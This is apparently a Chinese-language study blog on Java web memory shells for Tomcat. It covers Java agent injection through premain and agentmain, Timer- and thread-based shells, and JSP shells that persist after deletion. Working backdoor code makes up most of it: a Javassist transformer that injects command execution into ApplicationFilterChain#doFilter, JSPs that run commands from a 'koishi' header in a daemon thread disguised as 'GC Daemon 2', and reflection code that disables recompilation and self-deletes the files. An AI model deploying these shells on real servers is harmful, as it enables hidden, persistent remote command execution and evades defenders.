1 2 javac .\premainDemo_Say.java jar cvfm agent.jar cirno.mf .\premainDemo_Say.class
4.然后创建一个普通类作为测试 demo
1 2 3 4 5 6 7 package com.tomcat.memshell.Java_Agent.premain;public class KoishiNice { public static void main (String[] args) { System.out.println("hello!" ); } }
Ilyn.mf
1 2 3 Manifest-Version: 1.0 Main-Class: KoishiNice
同样的利用 javac 编译之后打包成 Ilyn.jar
1 2 javac .\KoishiNice.java jar cvfm Ilyn.jar Ilyn.mf .\KoishiNice.class
最终得到了 agent.jar 和 Ilyn.jar
接下来我们只需要在 java -jar
中添加 -javaagent:agent.jar
即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数
1 java -javaagent:agent.jar[=options] -jar Ilyn.jar
测试看看
1 java -javaagent:agent.jar="Please be careful, because Koishi is looking at you" -jar Ilyn.jar
动态修改字节码 在demo处,我们可以发现,在实现 premain 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例,复习一下
Instrumentation
Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果
在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据。Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码。上文介绍的 transform 的注意点也别忘了。再把几个方法粘一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); ...... }
Instrumentation 提供了 addTransformer,getAllLoadedClasses,retransformClasses 等方法,我们后面由于只用到了这三个所以就只介绍这三个
addTransformer 方法来用于注册 Transformer,所以我们可以通过编写 ClassFileTransformer 接口的实现类来注册我们自己的转换器
1 2 void addTransformer (ClassFileTransformer transformer)
这样当类加载的时候,会进入我们自己的 Transformer 中的 transform 函数进行拦截(自己写Transformer 需要实现 ClassFileTransformer 接口)
注意 :如果需要修改已经被JVM加载过的类的字节码,那么还需要设置在 MANIFEST.MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true
1 2 Can-Retransform-Classes 是否支持类的重新替换 Can-Redefine-Classes 是否支持类的重新定义
这两个如果不添加的话,当我们执行的时候是会报错的
1 2 jar cvfm koishi.jar koishi.mf .\KoishiPremain.class;jar cvfm cirno.jar cirno.mf .\KoishiSay.class java -javaagent:koishi.jar="test" -jar cirno.jar
这里加载class我忘了去package,而且javac还找不到类,源码中的class和jar我都删了,有兴趣可以再去搞一个试试,我累了,这东西还挺麻烦的。原理和上面那个差不多,只不过多了一个transform修改源码逻辑。(后面有空了重新补上)
4、启动后加载 agent——agentmain 执行逻辑
确定要attach到哪个jvm进程中
使用id函数确定jvm进程的pid
使用attach(pid)函数链接这个jvm进程
使用loadAgent将我们的恶意agent.jar包添加进jvm进程中
jvm进程会生成一个instrumentation对象并传到agent.jar包中指定类的agentmain函数中当作参数。
agentmain函数执行。
VirtualMachine.list()
方法会去寻找当前系统中所有运行着的JVM进程,你可以打印displayName()
看到当前系统都有哪些JVM进程在运行。因为main函数执行起来的时候进程名为当前类名
,所以通过这种方式可以去找到当前的进程id。
和之前的 premain 函数一样,我们可以编写 agentmain 函数的 Java 类
1 2 public static void agentmain (String agentArgs, Instrumentation inst) public static void agentmain (String agentArgs)
要求和之前类似,我们需要满足以下条件
必须要实现 agentmain 方法
Jar 文件清单中必须要含有 Premain-Class 属性
在 Java JDK6 以后实现启动后加载 Instrument 的是 Attach api。存在于 com.sun.tools.attach 里面有两个重要的类。
来查看一下该包中的内容,这里有两个比较重要的类,分别是 VirtualMachine 和 VirtualMachineDescriptor,其中我们重点关注 VirtualMachine 类
VirtualMachine VirtualMachine
可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。里面配备有几个方法LoadAgent
,Attach
和 Detach
。下面来看看这几个方法的作用
Attach :该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
1 VirtualMachine vm = VirtualMachine.attach(v.id());
loadAgent :向jvm
注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer
接口中提供的方法进行处理。
Detach :从 JVM
上面解除一个代理(agent)
VirtualMachineDescriptor VirtualMachineDescriptor 是一个描述虚拟机的容器类,配合 VirtualMachine 类完成各种功能。
所以最后我们的注入流程大致如下:
通过 VirtualMachine 类的 attach(pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent(agentJarPath) 来将agent 的 jar 包注入到对应的进程,然后对应的进程会调用agentmain方法。
Demo(详情见源码) 1 jar cvfm AgentMain.jar koishiagent.mf KoishiAgent.class KoishiTransformer.class
windows下需要将 jdk 的 tools.jar 自行添加到项目依赖,才能进行后续操作,不然会报错。
详情见项目源码
agentmain 内存马 KpLi0rn/AgentMemShell: JavaAgent内存马 (github.com) 其他师傅写好的测试项目
配合 Filter 的 ApplicationFilterChain#doFilter
里面封装了用户请求的 request 和 response,我们能够注入,直接获取用户的请求,将执行结果写在 response 中进行返回
ShellAgent.java
首先注册我们的 DefineTransformer ,然后遍历已加载的 class,如果存在的话那么就调用 retransformClasses 对其进行重定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package com.shiro.vuln.Java_Agent.agantmain.AgentShell;import java.lang.instrument.Instrumentation;public class ShellAgent { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public static void agentmain (String agentArgs, Instrumentation ins) { ins.addTransformer(new DefineTransformer (),true ); Class[] classes = ins.getAllLoadedClasses(); for (Class clas:classes){ if (clas.getName().equals(ClassName)){ try { ins.retransformClasses(new Class []{clas}); } catch (Exception e){ e.printStackTrace(); } } } } }
CirnoTransformer.java
对 transform 拦截的类进行 if 判断,如果被拦截的 classname 等于 ApplicationFilterChain 的话那么就对其进行字节码动态修改
这里利用 insertBefore ,将其插入到前面,从而减少对原程序的功能破坏
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;public class CirnoTransformer implements ClassFileTransformer { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) { className = className.replace("/" ,"." ); if (className.equals(ClassName)){ System.out.println("Find the Inject Class: " + ClassName); ClassPool pool = ClassPool.getDefault(); try { CtClass c = pool.getCtClass(className); CtMethod m = c.getDeclaredMethod("doFilter" ); m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" + "javax.servlet.http.HttpServletResponse res = response;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}" ); byte [] bytes = c.toBytecode(); c.detach(); return bytes; } catch (Exception e){ e.printStackTrace(); } } return new byte [0 ]; } }
在resources下创建 META-INF 目录,创建 MANIFEST.MF
1 2 3 4 5 Manifest-Version: 1.0 Can-Redefine-Classes: true Can-Retransform-Classes: true Agent-Class: ShellAgent
在pom中配置 maven 的 assembly 插件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <build > <plugins > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-assembly-plugin</artifactId > <configuration > <descriptorRefs > <descriptorRef > jar-with-dependencies</descriptorRef > </descriptorRefs > <archive > <manifestEntries > <Project-name > ${project.name}</Project-name > <Project-version > ${project.version}</Project-version > <Agent-Class > ShellAgent</Agent-Class > <Can-Redefine-Classes > true</Can-Redefine-Classes > <Can-Retransform-Classes > true</Can-Retransform-Classes > </manifestEntries > </archive > </configuration > <executions > <execution > <id > make-assembly</id > <phase > package</phase > <goals > <goal > single</goal > </goals > </execution > </executions > </plugin > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-compiler-plugin</artifactId > <configuration > <source > 8</source > <target > 8</target > </configuration > </plugin > </plugins > </build >
使用assembly的插件下的
或者命令行使用
打包在target下会存在一个有依赖版本和无依赖版本
我们将 agent.jar 已经编写好了,接下来我们需要编写 java 代码来使其加载进去
然后配合Evil 类打字节马就行,但是tnnd又没成功,我真服了。。。后面再试吧,研究这个已经耽误2天了
这个比其他的要多使用一个jar包,挺麻烦的还
解决了,tnnd我真是个呆逼,恶意类又忘了继承 AbstractTranslet 类就加载字节码了,md今早上突然想起来了。。。。之前白辛苦搞那么久了,淦!
下次一定一定要记得继承 AbstractTranslet 类!!!!!!!
这个马也挺好用的
十一、Timer 型内存马 JavaWeb 内存马二周目通关攻略 | 素十八 (su18.org)
而 jsp 的本质,就是 servlet。 jsp 创建了一个 Timer 计时器对象,在访问了一次这个 jsp 后,会启动一个计时器进行无限循环,一次执行直到服务器重启。即使将这个 jsp 删除,依旧是会继续进行这个任务。
这里依旧以 Tomcat 为例,按照 Servlet 的特点,一个 Servlet 在注册时会被封装成 org.apache.catalina.core.StandardWrapper
,在其 mappings 中添加类名,并将访问路径及类名的映射关系存储在 org.apache.catalina.core.StandardContext#servletMappings
中。
而 jsp 的本质,就是 servlet,只不过由 Tomcat 实现了动态转换、编译、加载、执行的过程
接下来看下 JspServlet 的处理逻辑,总体来说分为三步:
JSP 引擎将 .jsp
文件翻译成一个 servlet 源代码;
将 servlet 源代码编译成 .class
文件;
加载并执行这个编译后的文件。
一个 jsp 的生命周期
在 JspCompilationContext#compile
方法中,会调用 this.jspCompiler.isOutDated()
判断文件状态;
方法根据 JspCompilationContext#getLastModified
方法判断 JSP 本地 resource 是否存在,如果不存在,则通过将 JspCompilationContext#removed
标识为 true 来代表了文件已经被移除;
调用 JspRuntimeContext#removeWrapper
从 JspRuntimeContext#jsps
中移除访问路径与 wrapper 的映射;
随后会抛出 FileNotFoundException 异常,终止后续的处理逻辑。
被移除的 wrapper 因为失去了引用,将会被等待 GC。
按理说JSP 被删除后,对应的访问映射不存在了,实际执行的 servlet 实例和 wrapper 对象失去了引用将会等待销毁,被销毁后,里面的代码自然就失效了。
但是由于在恶意代码创建了 Timer 定时任务,而 Timer 会创建一个定时任务线程 TimerThread,Timer 的特性是,如果不是所有未完成的任务都已完成执行,或不调用 Timer 对象的 cancel
方法,这个线程是不会停止,也不会被 GC 的,因此,这个任务会一直执行下去,直到应用关闭。
恶意jsp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 <%@ page import ="java.util.List" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="java.util.ArrayList" %> <%@ page import ="java.util.HashSet" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public static List<Object> getRequest () { try { Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads" )); for (Thread thread : threads) { if (thread != null ) { String threadName = thread.getName(); if (!threadName.contains("exec" ) && threadName.contains("http" )) { Object target = getField(thread, "target" ); if (target instanceof Runnable) { try { target = getField(getField(getField(target, "this$0" ), "handler" ), "global" ); } catch (Exception var11) { continue ; } List processors = (List) getField(target, "processors" ); for (Object processor : processors) { target = getField(processor, "req" ); threadName = (String) target.getClass().getMethod("getHeader" , String.class).invoke(target, new String ("koishi" )); if (threadName != null && !threadName.isEmpty()) { Object note = target.getClass().getDeclaredMethod("getNote" , int .class).invoke(target, 1 ); Object req = note.getClass().getDeclaredMethod("getRequest" ).invoke(note); List<Object> list = new ArrayList <Object>(); list.add(req); list.add(threadName); return list; } } } } } } } catch (Exception ignored) { } return new ArrayList <Object>(); } private static Object getField (Object object, String fieldName) throws Exception { Field field = null ; Class clazz = object.getClass(); while (clazz != Object.class) { try { field = clazz.getDeclaredField(fieldName); break ; } catch (NoSuchFieldException var5) { clazz = clazz.getSuperclass(); } } if (field == null ) { throw new NoSuchFieldException (fieldName); } else { field.setAccessible(true ); return field.get(object); } } %> <% final HashSet<Object> set = new HashSet <Object>(); java.util.Timer executeSchedule = new java .util.Timer(); executeSchedule.schedule(new java .util.TimerTask() { public void run () { List<Object> list = getRequest(); if (list.size() == 2 ) { if (!set.contains(list.get(0 ))) { set.add(list.get(0 )); try { Runtime.getRuntime().exec(list.get(1 ).toString()); } catch (Exception e) { e.printStackTrace(); } } } } }, 0 , 100 ); %>
线程型内存马 根据以上的思考,可以发现,所谓的 Timer 型内存马,实际上就是想办法在服务器上启动一个永远不会被 GC 的线程,在此线程中定时或循环执行恶意代码,达到内存马的目的。
首先创建了一个独立于请求的线程,由这个线程里的动作用来实现恶意行为,这个线程里的行为不会自然终止,会持续运行直到 JVM 退出。
守护线程非常符合上述特征。新建线程的操作在攻击中有很多好处,其中之一就是可以绕过 RASP 类型的防御手段。
所以上面的 Timer 型内存马的关键代码可以修改为如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 <%@ page import ="java.util.List" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="java.util.ArrayList" %> <%@ page import ="java.util.HashSet" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public static List<Object> getRequest () { try { Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads" )); for (Thread thread : threads) { if (thread != null ) { String threadName = thread.getName(); if (!threadName.contains("exec" ) && threadName.contains("http" )) { Object target = getField(thread, "target" ); if (target instanceof Runnable) { try { target = getField(getField(getField(target, "this$0" ), "handler" ), "global" ); } catch (Exception var11) { continue ; } List processors = (List) getField(target, "processors" ); for (Object processor : processors) { target = getField(processor, "req" ); threadName = (String) target.getClass().getMethod("getHeader" , String.class).invoke(target, new String ("koishi" )); if (threadName != null && !threadName.isEmpty()) { Object note = target.getClass().getDeclaredMethod("getNote" , int .class).invoke(target, 1 ); Object req = note.getClass().getDeclaredMethod("getRequest" ).invoke(note); List<Object> list = new ArrayList <Object>(); list.add(req); list.add(threadName); return list; } } } } } } } catch (Exception ignored) { } return new ArrayList <Object>(); } private static Object getField (Object object, String fieldName) throws Exception { Field field = null ; Class clazz = object.getClass(); while (clazz != Object.class) { try { field = clazz.getDeclaredField(fieldName); break ; } catch (NoSuchFieldException var5) { clazz = clazz.getSuperclass(); } } if (field == null ) { throw new NoSuchFieldException (fieldName); } else { field.setAccessible(true ); return field.get(object); } } %> <% final HashSet set = new HashSet (); Thread d = new Thread (getSystemThreadGroup(), new Runnable () { public void run () { while (true ) { try { List<Object> list = getRequest(); if (list.size() == 2 ) { if (!set.contains(list.get(0 ))) { set.add(list.get(0 )); try { Runtime.getRuntime().exec(list.get(1 ).toString()); } catch (Exception e) { e.printStackTrace(); } } } Thread.sleep(100 ); } catch (Exception ignored) { } } } }, "GC Daemon 2" , 0 ); d.setDaemon(true ); d.start(); %>
可以看到,我这里是创建了一个守护线程,命名为 “GC Daemon 2”,然后把它直接放在了 system 线程组中,用来隐蔽自己。线程中是跟 Timer 型内存马一样的循环执行 request 中带入的命令的逻辑。
十二、JSP型内存马 JSP内存马研究 - 先知社区 (aliyun.com)
Tomcat容器攻防笔记之JSP金蝉脱壳-安全客 - 安全资讯平台 (anquanke.com)
在上述 Timer 内存马的分析流程中,涉及到了 JSP 的处理流程。虽然现在知道 Timer 型内存马本身跟 JSP 没太大关系,但是还是发现了可以实现类似 Servlet-API 型内存马的新方式——也就是JSP型内存马。
jsp与之前我们讨论的 Servlet 型内存马类似,我们可以自己创建对应的类放在相应的位置。此处的重点在于如何绕过访问时的对于 JSP 状态一些判断。在Tomcat中jsp
和jspx
都会交给JspServlet
处理,所以要想实现JSP
驻留内存,首先得分析JspServlet
的处理逻辑。
jsp加载大致流程
1 2 3 4 5 6 7 JspServlet#service //主要的功能是接收请求的URL,判断是否预编译 -> JspServlet#serviceJspFile //preCompile中当请求参数以jsp_precompile开始会进行预编译,默认情况下也不会预编译。 -> JspServletWrapper#service //编译class,将其注册为servlet,调用servlet.servlet Options#getDevelopment //进行编译class JspCompilationContext#compile //判断是否需要编译,再去检查JSP文件是否存在,删除原有的java和Class文件 JspServletWrapper#getServlet() //注册servlet Servlet.service //至此完成
说一下这个getServlet
首先判断theServlet
是否为空,如果为空则表示还没有为JSP文件创建过Servlet,则通过InstanceManager.newInstance
创建Servlet,并将创建的Servlet保存在theServlet
属性中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public Servlet getServlet () throws ServletException { if (getReloadInternal() || theServlet == null ) { synchronized (this ) { if (getReloadInternal() || theServlet == null ) { destroy(); final Servlet servlet; try { InstanceManager instanceManager = InstanceManagerFactory.getInstanceManager(config); servlet = (Servlet) instanceManager.newInstance(ctxt.getFQCN(), ctxt.getJspLoader()); } catch (Exception e) { Throwable t = ExceptionUtils .unwrapInvocationTargetException(e); ExceptionUtils.handleThrowable(t); throw new JasperException (t); } servlet.init(config); if (theServlet != null ) { ctxt.getRuntimeContext().incrementJspReloadCount(); } theServlet = servlet; reload = false ; } } } return theServlet; }
其中theServlet
是由volatile
修饰的,在不同的线程之间可以共享,再通过synchronized (this)
加锁,也就是说无论我们请求多少次,无论是哪个线程处理,只要this
是一个值,那么theServlet
属性的值是一样的,而this
就是当前的jspServletWrapper
,我们访问不同的JSP也是由不同的jspServletWrapper
处理的。
要想要完成内存驻留,我们要解决下面的问题。
请求后不去检查JSP文件是否存在
theServlet中一直保存着我们的servlet,当我们请求对应url还能交给我们的servlet处理
第二个问题比较容易,theServlet
能否获取到Servlet或者获取到哪个Servlet,是与jspServletWrapper
是有关的,而在JspServlet#serviceJspFile
中,如果我们已经将Servlet注册过,可以根据url从JspRuntimeContext
中获取得到对应的jspServletWrapper
。
感觉最近学的太多了,现在看这个东西,脑袋好像装满了,进不去啊,看的头大。。。。继续看吧
请求后不去检查JSP文件是否存在 方法一 在参考文章中说到:
默认Tomcat是以开发模式运行的。一般我们遇到的Tomcat都是以开发模式运行的,所以会由JspCompilationContext#compile
进行编译。看下编译部分都做了什么,Tomcat默认使用JDTCompiler
编译,首先通过isOutDated
判断是否需要编译,再去检查JSP文件是否存在,删除原有的java和Class文件,通过jspCompiler.compile()
编译。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 if (options.getDevelopment() || mustCompile) { synchronized (this ) { if (options.getDevelopment() || mustCompile) { ctxt.compile(); mustCompile = false ; } } } else { if (compileException != null ) { throw compileException; } } ........................ public void compile () throws JasperException, FileNotFoundException { createCompiler(); if (jspCompiler.isOutDated()) { if (isRemoved()) { throw new FileNotFoundException (jspUri); } try { jspCompiler.removeGeneratedFiles(); jspLoader = null ; jspCompiler.compile(); jsw.setReload(true ); jsw.setCompilationException(null ); ... }
如果我们能让 options.getDevelopment()
返回false就不会进入complie
部分。
development
并不是一个static
属性,所以不能直接修改,要拿到options
的对象。options
对象被存储在JspServlet
中
而MappingData
中保存了路由匹配的结果,MappingData
的wrapper
字段包含处理请求的wrapper
,在Tomcat中,Wrapper
代表一个Servlet,它负责管理一个 Servlet,包括的 Servlet的装载、初始化、执行以及资源回收。在Wrapper
的instance
属性中保存着servlet
的实例,因此我们可以从MappingData
中拿到JspServlet
进而更改options
的development
属性值
所以我们可以通过反射对development
的属性修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.mapper.MappingData" %> <%@ page import ="org.apache.catalina.Wrapper" %> <%@ page import ="org.apache.jasper.EmbeddedServletOptions" %> <% Field requestF = request.getClass().getDeclaredField("request" ); requestF.setAccessible(true ); Request req = (Request) requestF.get(request); MappingData mappingData = req.getMappingData(); Field wrapperF = mappingData.getClass().getDeclaredField("wrapper" ); wrapperF.setAccessible(true ); Wrapper wrapper = (Wrapper) wrapperF.get(mappingData); Field instanceF = wrapper.getClass().getDeclaredField("instance" ); instanceF.setAccessible(true ); Servlet jspServlet = (Servlet) instanceF.get(wrapper); Field Option = jspServlet.getClass().getDeclaredField("options" ); Option.setAccessible(true ); EmbeddedServletOptions op = (EmbeddedServletOptions) Option.get(jspServlet); Field Developent = op.getClass().getDeclaredField("development" ); Developent.setAccessible(true ); Developent.set(op,false ); %>
当我们第二次请求我们的脚本 development
的属性值已经被改为false,即使我们删除对应的 jsp\java\Class
文件,仍然还可以还可以正常请求shell。
但是如果我们想修改一个已经加载为 Servlet
的JSP文件,即使修改了也不会生效。
因加载一次后mustCompile为false 且我们修改了Development值为false,不再进行重新编译改写了
方法二 在上面跟源码的时候,我们也能看见,在compile中,如果我们能让isOutDated
返回false,也可以达到绕过的目的。
1 2 3 4 5 6 public void compile () throws JasperException, FileNotFoundException { createCompiler(); if (jspCompiler.isOutDated()) { ... } }
注意看下面的代码,在isOutDated
中,当满足下面的条件则会返回false。jsw
中保存的是jspServletWarpper
对象,所以是不为null的,并且modificationTestInterval
默认值是4也满足条件,所以我们现在要做的就是让modificationTestInterval*1000
大于System.currentTimeMillis()
,所以
只要将 modificationTestInterval
修改为一个比较大的值也可以达到绕过的目的。
1 2 3 4 5 6 7 8 public boolean isOutDated (boolean checkClass) { if (jsw != null && (ctxt.getOptions().getModificationTestInterval() > 0 )) { if (jsw.getLastModificationTest() + (ctxt.getOptions().getModificationTestInterval() * 1000 ) > System.currentTimeMillis()) { return false ; } }
modificationTestInterval
也保存在options
属性中,所以修改的方法和方法一类似。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <%@ page import ="org.apache.jasper.servlet.JspServletWrapper" %> <%@ page import ="java.util.concurrent.ConcurrentHashMap" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.jasper.compiler.JspRuntimeContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.mapper.MappingData" %> <%@ page import ="org.apache.catalina.Wrapper" %> <% Field requestF = request.getClass().getDeclaredField("request" ); requestF.setAccessible(true ); Request req = (Request) requestF.get(request); MappingData mappingData = req.getMappingData(); Field wrapperF = mappingData.getClass().getDeclaredField("wrapper" ); wrapperF.setAccessible(true ); Wrapper wrapper = (Wrapper) wrapperF.get(mappingData); Field instanceF = wrapper.getClass().getDeclaredField("instance" ); instanceF.setAccessible(true ); Servlet jspServlet = (Servlet) instanceF.get(wrapper); Field rctxt = jspServlet.getClass().getDeclaredField("rctxt" ); rctxt.setAccessible(true ); JspRuntimeContext jspRuntimeContext = (JspRuntimeContext) rctxt.get(jspServlet); Field jspsF = jspRuntimeContext.getClass().getDeclaredField("jsps" ); jspsF.setAccessible(true ); ConcurrentHashMap jsps = (ConcurrentHashMap) jspsF.get(jspRuntimeContext); JspServletWrapper jsw = (JspServletWrapper)jsps.get(request.getServletPath()); jsw.setLastModificationTest(8223372036854775807L ); %>
实现自删除 上面只是分析了如何让我们的JSP在删除了JSP\java\Class
文件后还能访问,下面我们分析如何在JSP
中实现删除JSP\java\Class
文件,在JspCompilationContext
保存着 JSP 编译的上下文信息,我们可以从中拿到java/class
的绝对路径。
而JspCompilationContext
对象保存在JspServletWrapper
中,所以要先获取JspServletWrapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <% Field requestF = request.getClass().getDeclaredField("request" ); requestF.setAccessible(true ); Request req = (Request) requestF.get(request); MappingData mappingData = req.getMappingData(); Field wrapperF = mappingData.getClass().getDeclaredField("wrapper" ); wrapperF.setAccessible(true ); Wrapper wrapper = (Wrapper) wrapperF.get(mappingData); Field instanceF = wrapper.getClass().getDeclaredField("instance" ); instanceF.setAccessible(true ); Servlet jspServlet = (Servlet) instanceF.get(wrapper); Field rctxt = jspServlet.getClass().getDeclaredField("rctxt" ); rctxt.setAccessible(true ); JspRuntimeContext jspRuntimeContext = (JspRuntimeContext) rctxt.get(jspServlet); Field jspsF = jspRuntimeContext.getClass().getDeclaredField("jsps" ); jspsF.setAccessible(true ); ConcurrentHashMap jsps = (ConcurrentHashMap) jspsF.get(jspRuntimeContext); JspServletWrapper jsw = (JspServletWrapper)jsps.get(request.getServletPath()); Field ctxt = jsw.getClass().getDeclaredField("ctxt" ); ctxt.setAccessible(true ); JspCompilationContext jspCompContext = (JspCompilationContext) ctxt.get(jsw); File targetFile; targetFile = new File (jspCompContext.getClassFileName()); targetFile.delete(); targetFile = new File (jspCompContext.getServletJavaFileName()); targetFile.delete(); String __jspName = this .getClass().getSimpleName().replaceAll("_" , "." ); String path=application.getRealPath(__jspName); File file = new File (path); file.delete(); %>
tomcat7和8/9的MappingData
类包名发生了变化
1 2 tomcat7:<%@ page import ="org.apache.tomcat.util.http.mapper.MappingData" %> tomcat8/9 :<%@ page import ="org.apache.catalina.mapper.MappingData" %>
jsp马源码见项目中我写的: KoishiEvilJSP.jsp
该内存马能够成功执行
字节码加载实现 一般情况下,我们想上传jsp然后访问执行是不现实的=。=,因为大多数时候不是热加载,而且也不符合我们对无文件shell的预期,于是这里我尝试修改jsp文件为java文件,并通过打字节码的方式,使jsp加载。(我看好像没啥这方面资料,全都是jsp落地,还是这种加载字节码的比较合适)
详情见代码,emm没打通,可能是加载写的poc入口有问题,没加载上?
后面debug调吧,现在挺忙的,我感觉写的代码应该没问题
不足与缺点
由于jsp的servlet处理类一般都是JspServletWrapper类,所以对于这种自己实现JspServletWrapper类的方法很容易就可以被查杀
由于jsp的局限性,在MVC架构的背景下应用场景也不大
十三、JNI绕过RASP 这个后面再看吧。目前这个还用不上